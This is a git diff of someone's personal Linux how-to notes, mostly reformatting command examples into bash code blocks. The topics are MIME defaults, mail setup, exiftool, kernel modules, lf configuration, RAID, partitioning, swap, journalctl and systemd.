@ -9,27 +9,37 @@ Install the package `xdg-utils`, then make very liberal use of the tab button.
Ask what type of application opens an mkv file:
> xdg-mime query default video/mkv
```bash
xdg-mime query default video/mkv
```
Same with pdf:
> xdg-mime query default application/pdf
```bash
xdg-mime query default application/pdf
```
Ask what file-type `book.pdf` uses.
> xdg-mime query filetype *book.pdf*
```bash
xdg-mime query filetype *book.pdf*
```
## Set
Set the mime type of mp4 videos to mpv.
> xdg-mime default mpv.desktop video/mp4
```bash
xdg-mime default mpv.desktop video/mp4
```
You'll need to use the tab key a lot here, and remember many items start with `org`.
You can use an asterisk for everything in a category.
> xdg-mime default org.gnome.font-viewer.desktop font/\*
```bash
xdg-mime default org.gnome.font-viewer.desktop font/\*
```
This often won't work as expected, because some fonts will have the type `application` rather than `font`.

View File

@ -1,51 +0,0 @@
---
title: "e-mail"
tags: [ "Documentation", "System" ]
---
# Terminology
|MTA | Mail transfer agent |
|POP3| Post Office Protocol 3 |
|SMTP| Simple Mail Transfer Protocol|
|IMAP| Internet Message Access Protocol|
There are a number of Linux e-mail agents - postfix, sendmail, exim (insecure) and qmail (dead).
# Programs
> sudo apt-get install postfix mailutils
This will register your domain in the /etc/postfix/main.cf file.
# Internal Mail
> sendmail -t roach-1
Write a message and stop composition with Ctrl+D.
The mail is kept in /var/mail/ and you can read it with:
> mail
# Aliases
Aliases are groups of mail recipients. The lists are kept under /etc/aliases.
`crew: matthew@gmail.com,ghost,danial@yahoo.com`
Update the list of aliases from this with:
> sudo newaliases
Then you can:
> sendmail -t crew
... and send to the whole crew.
View pending e-mails using:
> mailq

View File

@ -1,5 +1,5 @@
---
title: "editors"
title: "$EDITOR"
tags: [ "Documentation", "System" ]
---
The System's default text editor can be defined within /etc/profile. It's given the variable `EDITOR`.
@ -16,9 +16,12 @@ export VISUAL=$EDITOR
Then reload that profile with:
> source /etc/profile
```bash
source /etc/profile
```
If nano still pops up:
> sudo ln -sf $(which vim) $(which nano)
If you want to ensure `nano` never appears again:
```bash
sudo ln -sf $(which vim) $(which nano)
```

View File

@ -1,45 +0,0 @@
---
title: "elvish"
tags: [ "Documentation", "System" ]
---
# Setup
To run a shell as non-root, the shell must be listed in /etc/shells.
# Basics
Elvish has an inbuilt calculator.
Basic commands include: *, ^, +. E.g.:
> 2*4+2
#Lists
li = [orcs hobbits elves]
Then either
> echo $li
> echo $@li
> echo $path
# Environmental Variables
Summon with E:, e.g.
> echo $E:USER
# Commands
C-n - File manager
C-l - Recent locations
C-r - Recent commands
See all binding with:
> pprint $edit:insert:binding

View File

@ -1,25 +1,38 @@
---
title: "exiftool"
tags: [ "Documentation", "Metadata" ]
---
Find metadata.
> exiftool image.jpg
```bash
exiftool image.jpg
```
Find info on all images in current directory.
> exiftool -ext .png .
```bash
exiftool -ext .png .
```
You can make this recurring with the -r switch.
And overwrite all metadata:
> exiftool -all= -overwrite_original -ext jpg .
```bash
exiftool -all= -overwrite_original -ext jpg .
```
Or just GPS data:
> exiftool -gps:all= *.jpg
```bash
exiftool -gps:all= *.jpg
```
You can also use the imagemagick tool:
> identify -verbose
```bash
identify -verbose
```

View File

@ -15,11 +15,9 @@ The ordering of `/etc/fstab` is
E.g.:
```
UUID=877f14e8-4738-46b0-884f-ba330dad1a7d /mnt/biggie ext4 nofail,rw,relatime 0 2
UUID=B21648C416488AF5 /mnt/share ntfs nofail,rw,nosuid,nodev,user_id=0,group_id=0,allow_other,blksize=4096 0 0
```
> UUID=877f14e8-4738-46b0-884f-ba330dad1a7d /mnt/biggie ext4 nofail,rw,relatime 0 2
>
> UUID=B21648C416488AF5 /mnt/share ntfs nofail,rw,nosuid,nodev,user_id=0,group_id=0,allow_other,blksize=4096 0 0
## 5: Dump

View File

@ -4,26 +4,38 @@ tags: [ "Documentation", "System" ]
---
Check which kernet modules are loaded into memory
> sudo /sbin/lsmod
```bash
sudo /sbin/lsmod
```
Check which virtual box modules are loaded into memory
> sudo /sbin/lsmod | grep vbox
```bash
sudo /sbin/lsmod | grep vbox
```
Virtual box is using vboxpci, vboxnetadp, vboxnetflt, vboxdr.
Look at what's claiming wifi:
> sudo lshw -C network
```bash
sudo lshw -C network
```
If this shows that the device is 'unclaimed' then it's time to add a module, e.g. ath9k.
> sudo modprobe ath9k
```bash
sudo modprobe ath9k
```
Modules can also be 'restarted' by removing and adding them, e.g. the video module, 'uvcvideo':
> sudo rmmod uvcvideo
```bash
sudo rmmod uvcvideo
```
> sudo modprobe uvcvideo
```bash
sudo modprobe uvcvideo
```

75
system/lf.md Normal file
View File

@ -0,0 +1,75 @@
---
title: "lf - The Light File Manager"
tags: [ "Documentation", "File Browser" ]
---
## Config File
If you don't have a `~/.config/lf/lfrc` file, you can probably find an example in `/usr/share/examples/lf`.
```bash
cp -r /usr/share/examples/lf ~/.config/
```
Go straight to root with two keys.
```bash
map g/ cd /
```
Have lf open a file with the default program when you press 'o', using the program `mimeo`.
```bash
map o &mimeo $f
```
Change that default text editor to look at the extension first.
```bash
cmd open ${{
case $(file --mime-type $f -b) in
application/x-sc) sc-im $fx;;
text/html) w3m $fx;;
text/*) $EDITOR $fx;;
video/*) nohup mpv $fx --really-quiet >/dev/null &;;
*) nohup $OPENER $fx >/dev/null &;;
esac
}}
```
The idea here is to use the default `$OPENER` for lf, but first check extensions.
Note the extra `mpv` commands to leave the video to play, without blocking the terminal.
### Interesting Options
You can set the screen ratio with
`set ratios 1:2:3`
That leaves it as a small initial pane, a medium pane, and a large pane for file previews.
### Rename
The standard renaming is bad, because you have to re-type the file extension.
Use this instead:
```bash
# rename current file without overwrite
cmd rename %echo 'name: ' ; read name ; extension="${f##*.}" && newname="$name.$extension"; [ "$f" = "$extension" ] && newname="$name"; [ ! -e "$newname" ] && mv "$f" "$newname" || echo file exists
map r push :rename<enter>
```
If you try to rename `image_1.png` with this command, you can type in `cats`, and the result will be `cats.png`.
## Image Previews
First, install `ueberzug` (to show images).
Then clone the lfrun repo.
```bash
git clone https://github.com/cirala/lfimg.git
cd lfimg
sudo make install
```

View File

@ -7,7 +7,9 @@ tags: [ "Documentation", "RAID" ]
You will need 4 disks and the `mdadm` package.
The total size will be equal to the disks x 3, because one will be used for redundancy.
> sudo mdadm --create --verbose /dev/*md127* --level=5 --raid-devices=*4* */dev/sdb /dev/sdc /dev/sdd /dev/sde*
```bash
sudo mdadm --create --verbose /dev/*md127* --level=5 --raid-devices=*4* */dev/sdb /dev/sdc /dev/sdd /dev/sde*
```
Note the variable parts:
@ -17,17 +19,23 @@ Note the variable parts:
Now look at how the raid status:
> cat /proc/mdstat
```bash
cat /proc/mdstat
```
This will increase until the entire thing is fine.
Check the health of your `mdadm` array:
> sudo mdadm --detail /dev/md127
```bash
sudo mdadm --detail /dev/md127
```
You should see `State : clean`. If you see it is `degraded`, then a disk has broken.
## Replacing a Disk
> sudo mdadm --add /dev/md127 /dev/sdb1
```bash
sudo mdadm --add /dev/md127 /dev/sdb1
```

View File

@ -4,7 +4,9 @@ tags: [ "Documentation", "System" ]
---
# FDisk Basics
> sudo fdisk /dev/sda
```bash
sudo fdisk /dev/sda
```
- m for help.
@ -29,15 +31,21 @@ fdisk will not help with a GPT formatted drive. For this, use gdisk, which is m
Now that we have a partition, we can make it into a fileSystem. Most will use:
> sudo mkfs -t ext4 /dev/sdc1
```bash
sudo mkfs -t ext4 /dev/sdc1
```
or if you're making a swap partition, you can use:
> sudo mkswap /dev/sdb2
```bash
sudo mkswap /dev/sdb2
```
or for the reiser fileSystem, we can use:
> sudo mkreiserfs /dev/sdc2
```bash
sudo mkreiserfs /dev/sdc2
```
# File System Types
@ -53,61 +61,87 @@ or for the reiser fileSystem, we can use:
# Parted
> sudo parted /dev/sdb
```bash
sudo parted /dev/sdb
```
# Monitoring
Look at physical and virtual partitions:
> df -h
```bash
df -h
```
or divide things by inode - the thing which records where files are?
> df -i
```bash
df -i
```
Examine a fileSystem with:
> sudo dumpe2fs /dev/sda1 | less
```bash
sudo dumpe2fs /dev/sda1 | less
```
# Prevention
There are multiple programs which work mostly the same way.
> sudo tune2fs -c 30 /dev/sda1
```bash
sudo tune2fs -c 30 /dev/sda1
```
This will check sda1 every 30 boots. It can also be checked every month.
> sudo tune2fs -i 1m /dev/sda1
```bash
sudo tune2fs -i 1m /dev/sda1
```
This thing can also make a new label for the System:
> sudo tune2fs -L new_name /dev/sdb3
```bash
sudo tune2fs -L new_name /dev/sdb3
```
# Repair
Start by unmounting the fileSystem.
> sudo umount /dev/sdc1
```bash
sudo umount /dev/sdc1
```
Then it's time to check.
> sudo fsck /dev/sdc1
```bash
sudo fsck /dev/sdc1
```
And possibly repair damage:
> e2fsck -p /dev/sdc1
```bash
e2fsck -p /dev/sdc1
```
or the same with:
> sudo debugfs /dev/sdc1
```bash
sudo debugfs /dev/sdc1
```
# Mounting
You can mount with a specified filetype with:
> sudo mount -t ext3 /dev/sdc2 /mnt/stick
```bash
sudo mount -t ext3 /dev/sdc2 /mnt/stick
```
or if you don't know the type, just try the lot:
> sudo mount -a /dev/sdc1 /mnt/stick
```bash
sudo mount -a /dev/sdc1 /mnt/stick
```
# File Systems
xfs and zfs can only be expanded.
@ -118,21 +152,31 @@ NB: When I followed these instructions, the process destroyed my data. Seemed fi
Check the fileSystem's health:
> sudo e2fsck -f /dev/sdb1
```bash
sudo e2fsck -f /dev/sdb1
```
Resize the file System to something smaller than what you want, so here I want 500G and so I resize to 450 G.
> resize2fs /dev/sdb1 450G
```bash
resize2fs /dev/sdb1 450G
```
Then delete the partition with either gdisk or fdisk, depending upon the layout.
> sudo fdisk /dev/sdb
```bash
sudo fdisk /dev/sdb
```
> d
```bash
d
```
Then make a new fileSystem of the desired type with:
> n
```bash
n
```
And finally resize to the full size you want:
@ -149,14 +193,20 @@ Let's start with names. PV = 'Physical Volume', VG = 'Volume Group', and LV = '
Now we can create a volume group out of sdb2 and sdc3:
> sudo vgcreate my-new-vg /dev/sdb2 /dev/sdc3
```bash
sudo vgcreate my-new-vg /dev/sdb2 /dev/sdc3
```
Then make a new logical volume out of the volume group:
> sudo lvcreate -n my-new-lv my-new-vg
```bash
sudo lvcreate -n my-new-lv my-new-vg
```
Then have a look at all logical volumes:
> sudo lvscan
```bash
sudo lvscan
```

View File

@ -4,44 +4,66 @@ tags: [ "Documentation", "basics" ]
---
# Making a Swap File
> cd /var/cache/
```bash
cd /var/cache/
```
> sudo dd if=/dev/zero of=swapfile bs=1K count=4M
```bash
sudo dd if=/dev/zero of=swapfile bs=1K count=4M
```
This creates a swapfile of (1k x 4M) 4 Gigs.
Change 4M to XM for an XGig swap.
> sudo chmod 600 swapfile
```bash
sudo chmod 600 swapfile
```
> sudo mkswap swapfile
```bash
sudo mkswap swapfile
```
> sudo swapon swapfile
```bash
sudo swapon swapfile
```
Test it's working with top
> top -bn1 | grep -i swap
```bash
top -bn1 | grep -i swap
```
or:
> echo "/var/cache/swapfile none swap sw 0 0" | sudo tee -a /etc/fstab
```bash
echo "/var/cache/swapfile none swap sw 0 0" | sudo tee -a /etc/fstab
```
Test it'll work at boot with:
> sudo swapoff swapfile
```bash
sudo swapoff swapfile
```
> sudo swapon -va
```bash
sudo swapon -va
```
# Partition Swaps
Put this in /etc/fstab:
`UUID=blah-blah none swap sw 0 0`
> UUID=blah-blah none swap sw 0 0
Then test it works with:
> sudo swapon -va
```bash
sudo swapon -va
```
Test other partitions in fstab with:
> sudo mount -a
```bash
sudo mount -a
```

View File

@ -2,11 +2,15 @@
title: "journal"
tags: [ "Documentation", "systemd" ]
---
```
Find errors since November
> journalctl --since=2018-11-01 --grep="EXT4-fs error"
```bash
journalctl --since=2018-11-01 --grep="EXT4-fs error"
```
Limit size to 2G.
> journalctl --vacuum-size=2G
```bash
journalctl --vacuum-size=2G

View File

@ -26,13 +26,12 @@ WantedBy=multi-user.target
After making the new service, systemd requires reloading:
> sudo systemctl daemon-reload
```bash
sudo systemctl daemon-reload
```
# Types
* simple - the service cannot be called on by others. It runs on repeat.
* oneshot - the service executes once, then stops.

Some files were not shown because too many files have changed in this diff Show More